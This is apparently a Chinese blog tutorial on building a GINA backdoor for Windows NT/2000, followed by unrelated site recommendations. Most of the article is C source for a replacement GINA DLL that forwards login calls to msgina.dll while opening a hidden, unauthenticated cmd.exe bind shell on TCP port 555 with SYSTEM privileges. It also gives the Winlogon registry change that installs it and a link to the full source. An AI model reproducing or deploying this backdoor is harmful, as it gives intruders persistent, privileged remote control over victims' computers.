GinaBackDoor简单实现

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情

GinaBackDoor简单实现   
WriteBy:  LionD8

      首先要介绍Gina的在windows中的作用。NT,2K等都是多用户的系统,在进入用户shell前都有一个身份验证的过程。这个验证的过程就是由我们的Gina完成的。Gina除了验证用户身份以外还要提供图形登陆界面。系统默认的Gina是msgina.dll你能在系统目录system32下找到。微软除了提供了默认的Gina还允许自定义开发Gina替换掉msgina.dll实现自己的一些认证方式。这就为我们的后门提供了条件,要替换掉系统默认加载msgina.dll很简单只要编辑注册表在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon项下面加入一个类型为REG_SZ名为GinaDLL的一个键值.数据填写我们替换的GinaDLL的名字就OK了。
例如:
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon]
"GinaDLL"="ginadll.dll"(ginadll.dll就我们自己的用来替换的Gina)
在我们自己的DLL中只要邦定一个SHELL,其他的直接调用msgina.dll就行了。说白了就安装一个中间层。使其达到一个后门的目的。Gina是加载到winlogin进程中的,winlogin是系统的用户交互登陆进程是SYSTEM权限的,因此我们的后门也有SYSTEM权限。这对于后门来说是再好不过了。
    由于我们一共要替换15个Gina函数。全部写出来来量相当大。我们就选几个重要的出来做做示范。其他的也差不多就直接往下一层的msgina.dll调用就行了。详细的请参考完整源代码。

typedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );
typedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );
typedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );
typedef int  (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);
typedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)(  PVOID, PWSTR, PWSTR, PVOID );
typedef int  (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );
typedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );
typedef int  (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );
typedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );
typedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );
typedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );
typedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );
typedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO);

后门要用到的全局变量
//管道
HANDLE  hStdOut = NULL, hSRead = NULL;
HANDLE  hStdInput = NULL, hSWrite = NULL;
//用来控制线程是否结束返回
BOOL    bExit = FALSE;
//保存创建的CMD进程语柄
HANDLE  hProcess = NULL;

//这个是Winlogon进程最先调用的函数,用来检查Gina支持的winlogin版本
BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
HINSTANCE  hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
    return FALSE;
//取得msgina.dll中的WlxNegotiate函数入口
PFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
if( !pWlxNegotiate )
    return FALSE;
//往下层调用
return pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}

//为一个特别的窗口站初始化一个GinaDLL
BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
HINSTANCE  hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
        return FALSE;
PFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll,"WlxInitialize" );
if( !pWlxInitialize )
        return FALSE;
//初始化windows socket的WS2_32.DLL
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
    return FALSE;
//同上往下调用
return pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,pWlxContext );
}

//Winlogon在没有用户登陆时接收到一个SAS事件调用这个函数
int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
    PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
    PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
    PVOID *pProfile)
{
HINSTANCE  hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
    return FALSE;
PFUNCWLXLOGGEDOUTSAS pWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
if( !pWlxLoggedOutSAS )
      return FALSE;
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL);    //创建互斥对象     
WaitForSingleObject(hmutex,INFINITE);
//后门的主线程开始。
CreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
//调用下层的WlxLoggedOutSAS.
int ret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );
return ret;
}
//StartInit线程
DWORD  WINAPI StartInit(PVOID  lp)
{
SOCKET sock=NULL;
//建立一个TCP SOCKET
sock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr_in = {0};
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(555);  //端口号,可以自己改
addr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
//绑定到555端口上
if(bind(sock,(sockaddr *)&addr_in,sizeof(sockaddr))==SOCKET_ERROR)
    return 1;
//侦听
listen(sock,1);
sockaddr_in sin={0};
int size = sizeof(sin);
while ( TRUE )
{
    //接受一个连接的请求返回一个SOCKET没有请求则一直阻塞
    //在一个连接断开后又返回等待另外的连接
    SOCKET recvSock=accept(sock,(sockaddr *)&sin,&size);             
    if ( recvSock == INVALID_SOCKET ) {
        Sleep(1000);
        continue;
    }
    HANDLE hmutex=CreateMutex(NULL,FALSE,NULL);    //创建互斥对象     
    WaitForSingleObject(hmutex,INFINITE);
    //创建后门
    HANDLE hThread = CreateThread(NULL,NULL,BackDoor,&recvSock,0,NULL);
    ReleaseMutex(hmutex);
    CloseHandle(hmutex);
    //等待BackDoor线程结束。
    WaitForSingleObject(hThread,INFINITE);
    bExit = FALSE;
}
return 1;
}

//BackDoor线程
DWORD  WINAPI  BackDoor (LPVOID  lp)
{
//可以自己在这里加上一些密码认证等功能
//用来设置管道可被子进程继承
SECURITY_ATTRIBUTES  sa;
sa.bInheritHandle =TRUE;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
//创建管道
CreatePipe ( &hSRead, &hStdOut, &sa, 0 );
CreatePipe ( &hStdInput, &hSWrite, &sa, 0 );
STARTUPINFO  StartInfor = {0};
PROCESS_INFORMATION  ProInfor = {0};
//重定向子进程的标准输入输出,为我们刚刚建立好的管道
StartInfor.cb = sizeof ( STARTUPINFO );
StartInfor.wShowWindow = SW_HIDE;
StartInfor.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartInfor.hStdOutput = StartInfor.hStdError = hStdOut;
StartInfor.hStdInput = hStdInput;
//取得CMD的完整路径
TCHAR SysDir[MAX_PATH] = {0};
GetSystemDirectory(SysDir,MAX_PATH);
if ( SysDir[strlen(SysDir)-1] != '//')
    strcat(SysDir,"//");
strcat(SysDir,"cmd.exe");
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL);    //创建互斥对象     
WaitForSingleObject(hmutex,INFINITE);
//创建CMD子进程
CreateProcess(NULL,SysDir,NULL,NULL,TRUE,NULL,NULL,NULL,&StartInfor,&ProInfor);
hProcess = ProInfor.hProcess;
//由于我们不对CMD的出入输出进行操作所以我们可以关闭
CloseHandle(hStdOut);
CloseHandle(hStdInput);
HANDLE  hArray[2] = {0};
//创建一个接收命令线程和一个返回结果的线程
hArray[0] = CreateThread (NULL,NULL,RecvThread,&sock,NULL,NULL);
hArray[1] = CreateThread (NULL,NULL,SendThread,&sock,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
//等待2个线程的结束
WaitForMultipleObjects(2,hArray,TRUE,INFINITE);
closesocket(sock);
return 1;
}
//RecvThread 线程
DWORD  WINAPI  RecvThread ( LPVOID  lp)
{
SOCKET sock = *(SOCKET*)lp;
TCHAR CmdBuf[512] = {0}; //接收命令的Buf
int num = 0;
while ( TRUE )
{
    if ( bExit == TRUE )
        return 1;
    TCHAR Tbuf[2] = {0};
    int ret = recv(sock, Tbuf, 1, 0); //接收一个字符
    if ( ret == 1 )
    {
        num++; //接收的字符记数
        strcat(CmdBuf,Tbuf); //追加到CmdBuf中
        send(sock,Tbuf,1,0);  //回显
        if ( Tbuf[0] == '/n' ) //如接收到回车
        {
            TCHAR buf[5] = {0};
            DWORD A=0;
            //写到管道中供CMD的标准输入读取
            WriteFile(hSWrite,CmdBuf,num,&A,NULL);
            memcpy ( buf, CmdBuf, 4);
            //如果是exit命令设置线程结束标志
            int ret = _stricmp (buf,"exit");
            if ( ret == 0 )
                bExit = TRUE;
            memset(CmdBuf,0,512);
            num=0;
        }
    }
    else
    {   
        //如果连接中断终止CMD进程
        bExit = TRUE;
        DWORD A=0;
        GetExitCodeProcess(hProcess,&A);
        TerminateProcess(hProcess,A);
    }
}
return 1;
}
//SendThread 线程
DWORD  WINAPI  SendThread ( LPVOID  lp )
{
SOCKET sock = *(SOCKET*)lp;
TCHAR Buf[512]={0};
DWORD ReadSize = 0;
while(TRUE)
{
    if ( bExit == TRUE ) //如果结束标志为真线程返回
        return 1;
    //查看管道是否有数据可读
    PeekNamedPipe(hSRead,Buf,512,&ReadSize,NULL,NULL);
    //有就读取 没有就Sleep0.1s再次检查
    if ( ReadSize > 0 )
        ReadFile(hSRead,Buf,512,&ReadSize,NULL);
    else 
    {
        Sleep(100);
        continue;
    }
    //把从管道读出来的数据发给客户端.
    send (sock,Buf,ReadSize,0);
    memset(Buf,0,512);
}
return 1;
}
    以上基本上是后门的核心部分了,把全部的15函数都重载完都往下一层调用把编译好的DLL的15个函数都导出。把自己打造的DLL放在系统目录下,载编辑好注册表。后门就安装好了。由于我们是替换的DLL,必须要重起后才能生效。这也是一个不足的地方。删除后门也简单直接把我们添加的键值删除就行了。由于这是替换的系统DLL,请谨慎测试。不然系统就不正常启动啦。如有不正欢迎指正。
源代码和安装测试程序下载地址:
http://218.21.45.22/yh/gsyifan/liond8/src/GinaBackDoor.rar
= = = = = = = = = = = = = = = = = = = = = = =
参考文献: WinLogon登录管理和GINA简介---Bingle

 
2026年最新深圳市公交、地铁线路及站点矢量数据.zip 数据格式:shp 数据坐标:GCJ02 数据更新时间:2026年9月 公交线路来源:8684网站 https://8684.com.cn/ 站点数据来源:高德API接口 数据打开方式:QGIS或Arcgis 站点数据字段:名称、序号、对应线路、几何信息 线路数据字段:名称、类型、起点、终点、开始时间、结束时间、起步价、全价、长度、公司、几何信息 立即下载

相关推荐

2026年最新上海市公交、地铁线路及站点矢量数据.zip

数据格式:shp 数据坐标:GCJ02 数据更新时间:2026年9月 公交线路来源:8684网站 https://8684.com.cn/ 站点数据来源:高德API接口 数据打开方式:QGIS或Arcgis 站点数据字段:名称、序号、对应线路、几何信息 线路数据字段:名称、类型、起点、终点、开始时间、结束时间、起步价、全价、长度、公司、几何信息

windows2000本地登陆过程及利用方法 

windows2000本地登陆过程及利用方法     当你从Windows 2000 Professional or Server登录时,意见Windows 2000 用两种过程验证本地登录. Windows 2000尝试使用 Kerberos 作为基本验证方式. 如 果找不道 Key Distribution Center (KDC) 服务, Windows 会使用Windows NTLan

BaiShi 在路上 2201

2026年最新海口市公交线路及站点矢量数据.zip

数据格式:shp 数据坐标:GCJ02 数据更新时间:2026年9月 公交线路来源:8684网站 https://8684.com.cn/ 站点数据来源:高德API接口 数据打开方式:QGIS或Arcgis 站点数据字段:名称、序号、对应线路、几何信息 线路数据字段:名称、类型、起点、终点、开始时间、结束时间、起步价、全价、长度、公司、几何信息

设备管理基于OEE数据的闲置富余设备识别系统:制造业设备利用率监控与预警方案设计

内容概要:本文档为鹏鼎EES项目第二阶段关于设备闲置与富余识别的需求设计方案,旨在通过自动化方式识别低利用率设备,减少资产浪费。系统基于OEE系统提供的设备近6个月时间稼动率数据,设定“闲置”(连续6个月稼动率为0%)和“富余”(6个月平均稼动率≤30%)的判断标准,每周一自动执行识别任务并生成记录。支持在系统中查看识别结果列表、筛选导出数据、发起闲置申请及删除记录(管理员权限)。同时,系统通过鼎加机器人按设备闲置/富余持续时长(7天、30天、90天、180天)逐级向上推送预警消息至维护人员、厂长、处长、经管等层级,推动问题处理。此外,若设备被判定为闲置但未提交闲置申请,系统将向维护人员和设备课长发送D+提醒。; 适合人群:系统设计人员、开发人员、测试人员、设备管理人员及项目实施相关人员;尤其适用于熟悉OEE系统、设备管理流程及企业信息化系统的专业人员;; 使用场景及目标:① 实现设备利用率的动态监控与闲置风险预警;② 支持企业优化设备资源配置,降低资产闲置成本;③ 推动设备闲置处理流程自动化与责任到人机制建立;④ 为后续设备处置、调配、报废等决策提供数据支撑;; 阅读建议:本文档为研发与实施阶段的核心指导文件,涉及系统逻辑、数据来源、权限控制与集成接口等关键内容,建议结合OEE数据对接情况、企业组织架构与设备管理流程协同研读,并关注阈值配置、提醒机制与状态联动等可配置项的实际业务适配性。

RK3568 生产写SN实战:基于 RKDevInfoWriteTool 的序列号烧录方案

RK3568 生产写SN实战:基于 RKDevInfoWriteTool 的序列号烧录方案

地方科技部门如何借助数智化平台提升科技项目评审效率?.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

科技园区如何精准评估和招引高质量的科创项目,提升产业集聚效应?.docx

科技园区如何精准评估和招引高质量的科创项目,提升产业集聚效应?

网络工程基于锐捷设备的等价路由配置与流量转发机制分析:实现多路径负载均衡及链路冗余设计

内容概要:本文档主要记录了一个网络实验的配置与分析过程,涉及多个锐捷路由器(Ruijie-RSR1至Ruijie-RSR4)和两台虚拟PC(VPC1、VPC2)的网络拓扑搭建与通信测试。文档展示了各设备的接口IP地址配置、静态路由设置以及VPC终端的IP配置,并通过抓包分析验证了VPC1与VPC2之间的通信路径。重点分析了数据包为何选择经过R2而非R3进行转发,揭示了等价多路径路由(ECMP)的工作机制,指出在默认基于流的负载分担模式下,相同源目IP的数据流会通过哈希算法固定选择一条路径,因此不会在多条等价路径间切换。; 适合人群:具备基本网络知识、正在学习路由与交换技术的网络工程学生或初级网络工程师。; 使用场景及目标:①理解静态路由与等价多路径路由(ECMP)的配置与应用;②掌握基于流的负载分担与逐包负载分担的区别及其对数据转发的影响;③通过实际抓包分析提升网络故障排查能力; 阅读建议:建议结合实验环境动手配置并使用抓包工具观察数据流向,深入理解ECMP在实际网络中的行为特点,注意区分不同负载分担模式带来的影响。

政府科技项目评审效率低、标准不统一如何提升?.docx

政府科技项目评审效率低、标准不统一如何提升?

2026年最新绍兴市公交线路矢量数据.zip

数据格式:shp 数据坐标:GCJ02 数据更新时间:2026年9月 公交线路来源:8684网站 https://8684.com.cn/ 站点数据来源:高德API接口 数据打开方式:QGIS或Arcgis 站点数据字段:名称、序号、对应线路、几何信息 线路数据字段:名称、类型、起点、终点、开始时间、结束时间、起步价、全价、长度、公司、几何信息

高校如何优化科研项目立项评审流程,降低资源错配风险?.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

科技园区如何精准招引优质科创项目?.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

电子工程PCB设计规范指南:上海贝尔SRD部门布局布线及后处理工艺全流程技术标准

【电子工程】PCB设计规范指南:上海贝尔SRD部门布局布线及后处理工艺全流程技术标准

科技服务机构如何借助数智化服务提升项目咨询服务价值?.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

【Python编程】Python关键字参数详解

内容概要:本文详细讲解了Python中关键字参数的概念及其多种应用方式。首先介绍了关键字参数的基本用法,即在函数调用时通过参数名传递值,提升代码可读性和灵活性。接着阐述了函数定义中的默认参数,允许参数具有默认值,但必须置于非默认参数之后。文章还说明了“强制关键字参数”的机制,通过在参数列表中使用单个星号(*)来规定后续参数必须以关键字形式传入。最后介绍了可变关键字参数(**kwargs),用于接收任意数量的额外关键字参数并将其封装为字典,便于处理不确定参数场景。; 适合人群:具备Python基础语法知识,正在深入学习函数参数机制的初学者或中级开发者;适用于希望提升代码规范性与函数设计能力的编程学习者。; 使用场景及目标:①理解并正确使用关键字参数优化函数调用;②掌握默认参数、强制关键字参数和**kwargs的实际应用场景;③构建更灵活、可扩展的函数接口设计能力; 阅读建议:建议结合代码示例动手实践每一种参数类型的用法,特别注意参数定义的顺序规则,并在实际项目中尝试应用强制关键字参数和**kwargs来提高函数的健壮性与可维护性。

上一篇: VC使用CRT调试功能来检测内存泄漏
下一篇: windows下netstat代码
iiprogram
博客等级 码龄25年 1066粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值